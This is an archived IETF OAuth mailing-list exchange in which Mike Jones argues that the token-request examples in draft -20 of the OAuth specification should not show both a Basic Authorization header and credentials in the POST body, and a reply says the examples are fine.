There is nothing wrong with the examples. From: oauth-boun...@ietf.org [mailto:oauth-boun...@ietf.org] On Behalf Of Mike Jones Sent: Monday, July 25, 2011 9:28 PM To: oauth@ietf.org Subject: [OAUTH-WG] Extra Authorization: Basic lines in examples In sections 4.1.3, 4.3.2, 4.4.2, and 6 of draft -20, the examples contain both the line Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW and credentials in the post body. For instance, the example from 4.3.2 is: POST /token HTTP/1.1 Host: server.example.com Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW Content-Type: application/x-www-form-urlencoded;charset=UTF-8 grant_type=passwordusername=johndoepassword=A3ddj3w I believe that the Authorization: Basic czZCaGRSa3F0MzpnWDFmQmF0M2JW line should be deleted from all of these examples, as you either use Basic or credentials in the post body, but not both. Thanks, -- Mike ___ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth
